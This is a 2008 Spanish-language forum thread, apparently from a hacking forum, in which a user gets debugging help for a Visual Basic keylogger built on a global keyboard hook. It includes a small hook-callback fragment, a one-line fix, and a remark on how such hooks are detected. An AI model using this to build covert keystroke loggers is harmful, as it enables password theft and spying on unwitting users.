Autor
|
Tema: Creando keylogger con hook (Leído 6,545 veces)
|
aaronduran2
|
Hola. Estoy creando un keylogger. Al principio utilizaba GetAsyncKeyState, pero me di cuenta de que era mejor utilizar un hook. Estuve viendo varios códigos, por ejemplo este: http://www.hackstore.net/forum/index.php?topic=13582.msg322430El problema es que las teclas se almacenan en un array, y lo que intenté hacer era que detectase si la variable keyCode era igual al valor de una tecla establecida, se introdujese en la variable que guarda el resultado del keylogger, pero no fui capaz. ¿Alguna idea? Gracias de antemano.
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
A que te refieres con que no fuiste capaz? Te dio algun error? No supiste hacerlo? No creo que tenga mucha dificultad, al menos si preguntas lo que yo creo xD... Bueno, aprovecho para hacer propaganda , para el Ezine de CodeMakers he hecho un manual de como hacer un Keylogger con Hooks en VB, no utiliza Arrays ni nada por el estilo... no creo que tarde mucho en salir la Ezine Saludos
|
|
|
En línea
|
|
|
|
aaronduran2
|
No es que mostrase un error, el IDE de VB se me cerraba repentinamente y me mostraba el típico error de enviar o no el informe de errores.
Saludos.
|
|
|
En línea
|
|
|
|
jackl007
Desconectado
Mensajes: 1.403
[UserRPL]
|
Bueno, aprovecho para hacer propaganda , para el Ezine de CodeMakers he hecho un manual de como hacer un Keylogger con Hooks en VB, no utiliza Arrays ni nada por el estilo... no creo que tarde mucho en salir la Ezine que buenooo =D es un buen foro tambien
|
|
|
En línea
|
|
|
|
cobein
|
El hook global de teclado funciona bien pero tiene una desventaja muy grande, con cualquier programa como ser el IceSword se puede detectar a simple vesta.
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
No es que mostrase un error, el IDE de VB se me cerraba repentinamente y me mostraba el típico error de enviar o no el informe de errores.
Saludos.
Bueno, supongo que te refieres a que se Crashea la IDE, sale un mensaje que no se pudo escribir en la memoria blabla? Si es asi es porque haces el hook mal... Saludos
|
|
|
En línea
|
|
|
|
aaronduran2
|
Sustituí el código que mencioné arriba por otro que comprobaba si el valor de keyCode era igual al valor de una tecla. Antes de hacerlo funcionaba correctamente.
Saludos.
|
|
|
En línea
|
|
|
|
Karcrack
Desconectado
Mensajes: 2.416
Se siente observado ¬¬'
|
Sustituí el código que mencioné arriba por otro que comprobaba si el valor de keyCode era igual al valor de una tecla. Antes de hacerlo funcionaba correctamente.
Saludos.
Pega el codigo actual, talvez te falta llamar al API CallNextHook... Saludos
|
|
|
En línea
|
|
|
|
aaronduran2
|
Public Function KeyboardProc(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long 'Comprobamos que se haya pulsado una tecla If wParam = WM_KEYDOWN Then 'copiamos el codigo de la tecla(no es el ASCII , se manejan codigos aparte) Call CopyMemory(hookKey, ByVal lParam, Len(hookKey)) keyCode = hookKey.code Select Case keyCode Case 8 TextoKeylogger = "[TAB]" End Select End If 'Si no se reconoce la tecla pulsada, se pasa de largo KeyboardProc = CallNextHookEx(hook, ncode, wParam, lParam) End Function
Solo con eso ya me falla, y se llama perfectamente a CallNextHookEx. No sé en que me equivoqué. Saludos.
|
|
« Última modificación: 7 Octubre 2008, 15:32 pm por aaronduran2 »
|
En línea
|
|
|
|
Freeze.
|
Cambia esto: keyCode = hookKey.code por esto: keyCode = hookKey.vkcode
|
|
« Última modificación: 7 Octubre 2008, 15:54 pm por Freeze. »
|
En línea
|
|
|
|
|
|